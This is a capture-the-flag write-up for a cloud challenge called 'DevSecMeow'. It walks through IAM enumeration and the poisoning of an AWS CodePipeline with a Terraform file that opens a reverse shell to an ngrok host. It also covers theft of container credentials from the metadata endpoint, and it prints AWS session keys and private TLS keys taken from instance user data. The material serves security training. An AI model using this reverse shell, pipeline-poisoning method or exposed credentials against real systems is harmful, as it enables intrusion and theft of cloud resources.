Level 7a - DevSecMeow

Domain(s): Cloud

Palindrome has accidentally exposed one of their onboarding guide! Sneak in as a new developer and exfiltrate any meaningful intelligence on their production system.

https://d3mg5a7c6anwbv.cloudfront.net/
Challenge URL 1

Navigating to the provided URL shows us some very cute images of cats...and also some details about the cloud infrastructure we are meant to attack.

Under the section 2 quick steps to get your staging access, we are provided with 2 URLs:

The first URL generates 2 pre-signed URLS to access the S3 bucket, one for a client.csr, and one for a client.crt.

Upon navigating to these 2 URLs, the first one displays a Signature Mismatched error, and the second one an Access Denied error.

client.csr refers to a certificate request, which is a file that is used to generate a certificate, client.crt. This means that we're likely expected to upload client.csr, which would trigger a lambda function that helps us to generate client.crt for us to download.

First, generate a CSR with OpenSSL.

openssl req -new -newkey rsa:2048 -nodes -keyout client.key -out client.csr

Then use cURL to upload the file to the provided link.

curl -X PUT -T ./client.csr '<url>'

Now, we should be able to retrieve the generated client.crt from the second link.

wget '<url>'

With some references to mTLS (mutual TLS), we can assume that the second URL can only be accessed after configuring this in the browser.

First, generates the PKCS#12 file with OpenSSL with the client key and certificate.

openssl pkcs12 -export -out client.p12 -inkey client.key -in client.crt

On Chrome, Open Settings > Privacy > Security > Manage device certificates. Then click Import and select client.p12.

You should be able to view the certificate in the list now.

Next, navigate to the second URL: https://13.213.29.24/, ignore the security warning, and select the certificate you just uploaded when prompted.

After awhile, you should see a message that provides a set of AWS credentials.

Configure the credentials with aws configure and start enumerating the IAM.

First retrieve the username associated with the credentials.

aws sts get-caller-identity
{
    "UserId": "AIDATMLSTF3NSREARR67Q",
    "Account": "232705437403",
    "Arn": "arn:aws:iam::232705437403:user/agent-c3b4d98720524bd49f33ff88f28edcb1"
}

Then retrieve the list of policies attached to the user.

aws iam list-attached-user-policies --user-name agent-c3b4d98720524bd49f33ff88f28edcb1
{
    "AttachedPolicies": [
        {
            "PolicyName": "agent-c3b4d98720524bd49f33ff88f28edcb1",
            "PolicyArn": "arn:aws:iam::232705437403:policy/agent-c3b4d98720524bd49f33ff88f28edcb1"
        }
    ]
}

Then retrieve the policy document to find out what permissions we have.

aws iam get-policy-version --policy-arn arn:aws:iam::232705437403:policy/agent-c3b4d98720524bd49f33ff88f28edcb1 --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicy",
                        "ssm:DescribeParameters",
                        "iam:GetPolicyVersion",
                        "iam:List*Policies",
                        "iam:Get*Policy",
                        "kms:ListKeys",
                        "events:ListRules",
                        "events:DescribeRule",
                        "kms:GetKeyPolicy",
                        "codepipeline:ListPipelines",
                        "codebuild:ListProjects",
                        "iam:ListRoles",
                        "codebuild:BatchGetProjects"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor2",
                    "Effect": "Allow",
                    "Action": [
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Resource": "arn:aws:iam::232705437403:user/${aws:username}"
                },
                {
                    "Sid": "VisualEditor3",
                    "Effect": "Allow",
                    "Action": [
                        "codepipeline:GetPipeline"
                    ],
                    "Resource": "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline"
                },
                {
                    "Sid": "VisualEditor4",
                    "Effect": "Allow",
                    "Action": [
                        "s3:PutObject"
                    ],
                    "Resource": "arn:aws:s3:::devsecmeow2023zip/*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-09-18T15:16:44+00:00"
    }
}

The policy document states that we have the following permissions:

Permissions:

  • IAM

    • ListAttachedUserPolicies

    • GetPolicy

    • GetPolicyVersion

    • List*Policies

    • Get*Policy

  • SSM

    • DescribeParameters

  • KMS

    • ListKeys

    • GetKeyPolicy

  • Events

    • ListRules

    • DescribeRule

  • CodePipeline

    • ListPipelines

    • GetPipeline - devsecmeow-pipeline

  • CodeBuild

    • ListProjects

    • BatchGetProjects

  • S3

    • PutObject - devsecmeow2023zip

Let's try enumerating CodePipeline.

aws codepipeline get-pipeline --name devsecmeow-pipeline

Analyzing the output, you should see that the pipeline takes in input from a rawr.zip in the devsecmeow2023zip S3 bucket.

"configuration": {
    "PollForSourceChanges": "false",
    "S3Bucket": "devsecmeow2023zip",
    "S3ObjectKey": "rawr.zip"
}

It then runs the CodeBuild project devsecmeow-build.

"configuration": {
    "ProjectName": "devsecmeow-build"
}

Next, we can use the batchGetProjects privilege to retrieve the CodeBuild configuration.

aws codebuild batch-get-projects --name "devsecmeow-build"

We can see that it spins up a container that contains the environment variable flag1.

"environment": {
    "type": "LINUX_CONTAINER",
    "image": "aws/codebuild/amazonlinux2-x86_64-standard:5.0",
    "computeType": "BUILD_GENERAL1_SMALL",
    "environmentVariables": [
        {
            "name": "flag1",
            "value": "/devsecmeow/build/password",
            "type": "PARAMETER_STORE"
        }
    ],
    "privilegedMode": false,
    "imagePullCredentialsType": "CODEBUILD"
}

According to the buildspec, the container runs the command terraform plan. 

"source": {
    "type": "CODEPIPELINE",
    "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - env\n      - cd /usr/bin\n      - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip\n      - unzip -o terraform.zip\n      - cd \"$CODEBUILD_SRC_DIR\"\n      - ls -la \n      - terraform init \n      - terraform plan\n",
    "insecureSsl": false
}

Now, there are 2 ways to achieve command execution to retrieve the first flag.

  1. Using the terraform plan command to start a reverse shell

  2. Writing a buildspec.yml file to override the default buildspec to run our own commands

We'll go with the first option for this writeup.

First, start a netcat listener and forward the port with ngrok.

ngrok tcp 4444
nc -lvnp 4444

Then, write a terraform file test.tf and compress it into rawr.zip.

data "external" "example" {
  program = ["sh", "-c", "/bin/sh -i >& /dev/tcp/0.tcp.ap.ngrok.io/16243 0>&1"]
}

Next, upload rawr.zip to the S3 bucket to trigger the pipeline and you should receive a shell.

aws s3 cp rawr.zip s3://devsecmeow2023zip/rawr.zip

Run the env command to retrieve the flag, and you should also see some important information for our next steps.

AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/6dd200d9-28ae-4433-9df3-63b8a95d649e
CODEBUILD_ACTION_RUNNER_URL=https://codefactory-ap-southeast-1-prod-default-build-agent-executor.s3.ap-southeast-1.amazonaws.com/cawsrunner.zip
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/9f398293-6dd5-4141-bd8e-b0447f464c64
flag1=TISC{pr0tecT_
CODEBUILD_SOURCE_VERSION=arn:aws:s3:::devsecmeow2023zip/devsecmeow-pipeline/source_out/Lkod3Lx.zip

We can access the metadata endpoint with the credentials relative URI to retrieve the credentials associated with CodeBuild.

curl http://169.254.170.2/v2/credentials/2e6a50e3-6432-4f9d-a751-d296c7dec0dd

The endpoint responds with AWS credentials and a session token.

ACCESS_KEY_ID=xxxx
SECRET_ACCESS_KEY=xxxx
SESSION_TOKEN=xxxx

Configure a new AWS profile with aws configure --profile=devsecmeow or enter the following in .aws/credentials for us to enumerate further.

[devsecmeow]
aws_access_key_id = ASIATMLSTF3NYTE4IK6D
aws_secret_access_key = GQwB7neoAja4PtBaE5jwXZIBCwwB+TylQmXKCDQp
aws_session_token = IQoJb3JpZ2luX2VjEBIaDmFwLXNvdXRoZWFzdC0xIkcwRQIgFACcfx2iAK/LVV/8/NAhzkFscoM3kn7JKclyWOCL9iACIQDIWU8Yr9rHJq5zhyuC36/njDxEx0xLUjBQziCmvdLmjiq1AwgbEAAaDDIzMjcwNTQzNzQwMyIMfjUxk5LXHLHl2ZMTKpIDCWzSzFOw2tD9uvJyaKxckq/FOFpmFuGZGl8SWIehekOMp9Y7XlUAmQe/rHssRmvsdLlOYvDtStKRoLnv76ElEEMkmBz/Kgva7Uu9wFfz9yY+hreJulONrmAQMptJvq908idUphAnfRWYHr08lV8D89/Ou68e/x7kxcM/wgM031NfU6ZsWuzcNelSv6qvaVcWewp6FH16s0mvrpISrqR2vi4UMZSfbcg51SQ/Cio3Jao7dcBKCxwosi5NvlSW/G1cNB3+moAFtgYPP+hF1IqDVH+r5LDbKqH+frRtuLw4DVICnNKOS1TU77E619ilr+6ZG2y4ZjKBZcQvQPSEDjIE4gAdeLHb+XpmJFT/FM9KR9AX9IhlEZwVnqRkD1tHIUtJQ+oDGziE6rQu1T66UQ8RKGso6/oQy5iuzvnplTHlEHvEc1dqQqpnFTkqG38obocpRZZolvTCuhR6KVI87YQmpkenM1N6vIvKiGWshe7Q4bR+xpUuWkaa1M2HbXnHdGNhzzeUYni7GOA3RHg506nCwUnfMPT966gGOpMBb6pWat7K8kGgJFZgcliN+UDNfInI0kaQgLZ6X4U5kItnCaJwCaX/dw0F2Ju1xLCxA8we/sPOMt2exgexzc3iKoqGnhvAyme1tTma4uKzmK4r9vVYhB9wJoeKBNLkT91hwPfHZRd6fGzpeCmW15hiK+lx7L7TVir0vG7g4d+HnS0GS2aNsFEL3H39OO3HvgJRiMzo

Using this new profile to run any command that the profile does not have privileges for, we see that we are currently assuming the codebuild-role role

Using the previous credentials we can list all IAM policies.

aws iam list-policies

One of the policies stands out, iam_policy_for_ec2_production_role. Similarly, view the policy document.

aws iam get-policy-version --policy-arn arn:aws:iam::232705437403:policy/iam_policy_for_ec2_production_role --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:GetObject"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::devsecmeow2023flag2/index.html"
                    ],
                    "Sid": "VisualEditor0"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-07-21T15:05:07+00:00"
    }
}

We can see that EC2 instances with a role with this policy attached are able to access the S3 bucket associated with flag2. Therefore we know that we have to take over a production EC2 instance.

As CodeBuild spins up an EC2 instance to build the source code, its credentials should carry permissions that allow us to enumerate or even access EC2. We can verify this by using the initial profile which has IAM permissions, to list the role policies assigned to our assumed role.

aws iam list-role-policies --role-name codebuild-role
aws iam get-role-policy --role-name codebuild-role --policy-name policy_code_build
{
    "Action": "ec2:DescribeInstance*",
    "Effect": "Allow",
    "Resource": "*"
}

We see that we have the permission "ec2:DescribeInstance*" which means we could list all of the EC2 instances.

aws ec2 describe-instances --profile devsecmeow

The output of the command shows 2 EC2 instances, one each for staging and production (with the public IP 54.255.155.134)

Navigating to https://54.255.155.134 shows us a a similar error regarding an invalid certificate. This likely means we have to configure mTLS again.

The action in the codebuild-role role policy, "ec2:DescribeInstance*", states that we could also list the attributes associated with the EC2 instances.

Enumerating the instance attributes, we find some useful information from the UserData attribute.

aws ec2 describe-instance-attribute --instance-id i-02602bf0cf92a4ee1 --attribute userData --profile devsecmeow
{
    "InstanceId": "i-02602bf0cf92a4ee1",
    "UserData": {
        "Value": "#!/bin/bash
sudo apt update
sudo apt upgrade -y 
sudo apt install nginx -y
sudo apt install awscli -y 
cat <<\EOL > /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	sendfile on;
	tcp_nopush on;
	tcp_nodelay on;
	keepalive_timeout 65;
	types_hash_max_size 2048;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	server {
		listen 443 ssl default_server;
		listen [::]:443 ssl default_server;
		ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; 
		ssl_prefer_server_ciphers on;

		ssl_certificate         /etc/nginx/server.crt;
		ssl_certificate_key     /etc/nginx/server.key;
		ssl_client_certificate  /etc/nginx/ca.crt;
		ssl_verify_client       optional;
		ssl_verify_depth        2;
		location / {
				if ($ssl_client_verify != SUCCESS) { return 403; }

				proxy_pass           http://flag_server;
		}

		access_log /var/log/nginx/access.log;
		error_log /var/log/nginx/error.log;
	}
	
	gzip off;
	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}

EOL
cat <<\EOL > /etc/nginx/sites-enabled/default

upstream flag_server {
    server	localhost:3000;
}
server {
	listen 3000;

	root /var/www/html;

	index index.html;

	server_name _;

	location / {
		# First attempt to serve request as file, then
		# as directory, then fall back to displaying a 404.
		try_files $uri $uri/ =404;
	}

}
EOL
cat <<\EOL > /etc/nginx/server.crt
-----BEGIN CERTIFICATE-----
MIIDxzCCAq8CFF4sQY4xq1aAvfg5YdBJOrxqroG5MA0GCSqGSIb3DQEBCwUAMCAx
HjAcBgNVBAMMFWRldnNlY21lb3ctcHJvZHVjdGlvbjAeFw0yMzA3MjExNDUwNDFa
Fw0yNDA3MjAxNDUwNDFaMCAxHjAcBgNVBAMMFWRldnNlY21lb3cucHJvZHVjdGlv
bjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMYRqMc1usbS/4yoJ9qW
4QxHwFyHx6b7Mki4vVJD8GoNyGUWfUlksUhq84ZI4ZpAn78tvoV+lzeWQNw4XEz2
X3U3XI7AHFeQYo8WLcvaoAgj0P7uM1kbnoXUx54yraBty98uOKLDwuGD2ZNMyZjR
yE1005eehP/mrtH75N7fN8ZX2GD30/HgDs3wUcdN1N9/CGWF7s6zSMNKKyLbgzd4
UlOIY1jCQN0JyRfRikxfmuKWeElVCz4+iXvC8i69qRL4N63X5TM90jj9KIz1Kqco
gkX+mWaQSAKkGKQI6chYjoVbqQjjF80KO8/3WAFcXwir1C2Y4ZnmK3Y9o5J4Oyln
B5eVRklqsdLyv1KVu2xs1+grKtGet49n/SNMuMwesFmb6tPs3hM8aG0v/0W5eIXb
tBVwu4XwOlITWo1Te/wmP/zai6FYlyLIEpCD6LJ9/sajqxYtaslSHlgIjqTI9VKo
nahEbj8Xa7TMrNFbr2NY5z3oLypICrqE/zPuOgMBM6DX5cnlfqeAwIVnL5QxQoQe
ocwSDeAXDIcNdzHelUCgBiSjLw055hwNsLx/ZQ6Yu7Y4S0hE1CZZ3g++WoH/kLxi
i6pHoaTHsB4NIz5DYiQEydywzjnX7FAXqYwf4iZYLIiS9M6iXXB1OMBgtINVxglA
cBU54+I4u4h/CUkjPYPs8x11AgMBAAEwDQYJKoZIhvcNAQELBQADggEBACoCQZ5e
8a4RgMOoeqiaiKF4xVK8KQGtEUKjIeYT4LIeVFRhpB5m/RWxj2dshHNr1bJWFP+H
irecUisqLkpmAZRTGGbK98hN1muV85LRsyQTfesVNCT8Az3g0UUFN6rQdMoAqn97
lA/pK4N7Nxi7HDhaipZQ6uPcGVQkrcKOScxq7Y1IJ1Nq0qpKlrx2QIzB3rpE1Cpm
eYX1qHqgfLc+WGbwFfWF9raSG0bbLmB+krXtTUEqorTtr4RUQ3JCh0moJ5ToUgzc
qaYdKV87JdAsh88Dc8R4xEy+CgmP0Tecsdu4vp+QGLIFyKVXV1nPWF2ihz8XelLe
KiNii7b6V43HSrA=
-----END CERTIFICATE-----

EOL
cat <<\EOL > /etc/nginx/server.key
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

EOL
cat <<\EOL > /etc/nginx/ca.crt
-----BEGIN CERTIFICATE-----
MIIDITCCAgmgAwIBAgIUQ3SN/Ic7T2x1v6cA6gKPUxNSlNgwDQYJKoZIhvcNAQEL
BQAwIDEeMBwGA1UEAwwVZGV2c2VjbWVvdy1wcm9kdWN0aW9uMB4XDTIzMDcyMTE0
NTA0MFoXDTI0MDcyMDE0NTA0MFowIDEeMBwGA1UEAwwVZGV2c2VjbWVvdy1wcm9k
dWN0aW9uMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxNkskbb7nqRD
nVMFJrWQUYuCURyYjncGVZTEFzO1cOOEAR35DmcRuVgWTACUJdRRqb6lL/7Vbfgm
1TV8vj7x/qNciEvd4/NzotlBXYCXJLilLFUydxuEqzpxX9fCGxQJ0nsKDswYuUpi
7ire952y8YAlu/DAApfwm/K8rS2edvvJ22wr1QznmEIedf3GFI3giFgyiB81bmqs
W+vLwd599seSVc48sm4VdIbw1KxQrQVU9Rwr7VyR7frFIitPIpTRfD6P/vZAZSmd
icPAq+2iDGj1YEy4AfRsn+ah7XQqp5ZC4iZccZidHGVlHSmsDXqJ2kpweuYoVCzy
HjMIuPqkDwIDAQABo1MwUTAdBgNVHQ4EFgQUr87qLf+IfGrfkYajdItqMFzby78w
HwYDVR0jBBgwFoAUr87qLf+IfGrfkYajdItqMFzby78wDwYDVR0TAQH/BAUwAwEB
/zANBgkqhkiG9w0BAQsFAAOCAQEAum41R46j6OlqmqdvEgt3D5pCsTa7fwfbvdqp
FgSlsGrwtRzAxETYPj6d+kYliFI/Z46tE3x15F5zisPPT3F/HjqzLPJBvCQWjiHW
+nRniqn5OzwgCsKB8kIVO01tE02ibWyIzL15s8IvzNTDH/WUUf1YvN/QKrvr7NC1
fGui/34w/Sikc1ckuayOM6B6yhf2WoCtC/txaGBxSa95tqSADxiw2X4ru7vuDqJO
TNVZrU3IkDCUhRSxvcesm4of0B21GCmpcUAU75A+UF3sl8jFTNf8oMFZzW17W4bg
tMdad2Pvl9IL3bWjT0uWMOU7uFWHRFCKEVrzCzJ6sUdyamwsLg==
-----END CERTIFICATE-----

EOL
cat <<\EOL > /etc/nginx/ca.key
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDE2SyRtvuepEOd
UwUmtZBRi4JRHJiOdwZVlMQXM7Vw44QBHfkOZxG5WBZMAJQl1FGpvqUv/tVt+CbV
NXy+PvH+o1yIS93j83Oi2UFdgJckuKUsVTJ3G4SrOnFf18IbFAnSewoOzBi5SmLu
Kt73nbLxgCW78MACl/Cb8rytLZ52+8nbbCvVDOeYQh51/cYUjeCIWDKIHzVuaqxb
68vB3n32x5JVzjyybhV0hvDUrFCtBVT1HCvtXJHt+sUiK08ilNF8Po/+9kBlKZ2J
w8Cr7aIMaPVgTLgB9Gyf5qHtdCqnlkLiJlxxmJ0cZWUdKawNeonaSnB65ihULPIe
Mwi4+qQPAgMBAAECggEBAKABg7fiC/90uD0uWXaQiQGvq7rwypSq7SwtY4MUlfxw
A0HBMkvhvcdxcZZPthxVzBd1DuLHeocL+cy+0Gn30k7QTQvA11lN74XEoNw3BSRl
LmWtzvqAFMP2Gmf0giPuktlTB+blQYeDjozXriuKNQUWzBVLaVfyVzL8CR+fgDpn
nUai7P0thT8MjxXesVvf1jkq4yZqPMOLNLYEuUn5G+OkNCHoqrc4Ud/Ft1lqd4f1
yvJ+9IDBZ298+HhCnlwyZ+ipTZFTcgzV6o/f4Hq0hfiqGx0es0Gt+jtkpR99AS4A
xGGU9CMy2bKk7k5aaoin7dljiIcTrCkWsnCgaVHPNLkCgYEA4bW0AmHWFmzABT/T
TzzgQKJsFvwvKDWOJiDVTczZlTfXeWcM9WQtAecAk2ZxAZqtqXEatzhWsGIvmxMr
zMKz9RLxxRsttV4xzRwDfcjKzRuZAV0xXPsIuaZPpzrqCX8uFrvhijf8prWuLFZr
2mC7kxVVpfDjO68e74YJVSKmOgUCgYEA30Pua0vOPXFL2h8TcbjG9FyTxid4OQWE
s1IiLYRw3jVVWlJ2gAlZ4ey+zTG162zV4V2yHrZF23es45yoWgSRZkxufkQY9CJi
XMXf0qdyC1lVh/naJXdz5AYr5KwyDv9UKjJc6vubcuSmD6h6H3QOgkZeoCt75lwy
jKwwSRRL/gMCgYB4AoLp2VdZqQ0YPW1/biDWfQX32rLAMGmagE6qBUeTfZOGK3LK
by83GbpGpWtkrPe1ZjwMO1psgmhJjhH113iT0DTY1rChBKp6InEAymh6Ujgyb3i1
tYxYGcO0aTDTR9oboF41fbtKcMNhM7o47MIPXIKjrsdDjsNmG+COcdPseQKBgQC5
niqb/dwrbQQZBfkOdQbDpiwddDcZgSMASuqrWQ7VTxX1D9YBQMT/depzgj6yyjtP
MKyjp/qQKgENAvNcU6vmlujOBSOR5PxOERyycA/6q3zWnbzlpVguXYskhJzhpxl8
M37YxfJJJRuCrRlLCRv+5y5Ij55kuIY2Ofmy6DL9rQKBgQDefTgiSKVIlMpZRiGt
VOAD0MFda/k9tpTPT9HdlL4b44mkNzPailJATH0XLDqSwuXn4wJEgMAwqbM8CGSo
Opar3fixSriKkwuTuDy8fM1dbpjYCi8rKswGULTvpFHJQZSDu4+sCDxbZUv9VTAS
aUwjOeYyIZiB+SQt/kUUZm1acA==
-----END PRIVATE KEY-----

EOL
aws s3 cp s3://devsecmeow2023flag2/index.html /tmp/
sudo cp /tmp/index.html /var/www/html
rm /tmp/index.html
sudo systemctl restart nginx
"
    }
}

After decoding the Base64 encoded value, we find an NGINX configuration file showing that the endpoint requires SSL to access the flag server on port 3000, along with the files server.key, server.crt and ca.crt.

Next, generate the PKCS#12 file for the production site 

openssl pkcs12 -export -out server.p12 -inkey server.key -in server.crt

Then configure mTLS like before, navigate to https://54.255.155.134/, and select the new certificate

And finally, we get more pictures of the cat! and the flag too.

FLAG: TISC{pr0tecT_yOuR_d3vSeCOps_P1peL1nes!!<##:}##>}

PreviousLevel 6A - The Chosen OnesNextLevel 8 - Blind SQL Injection

Last updated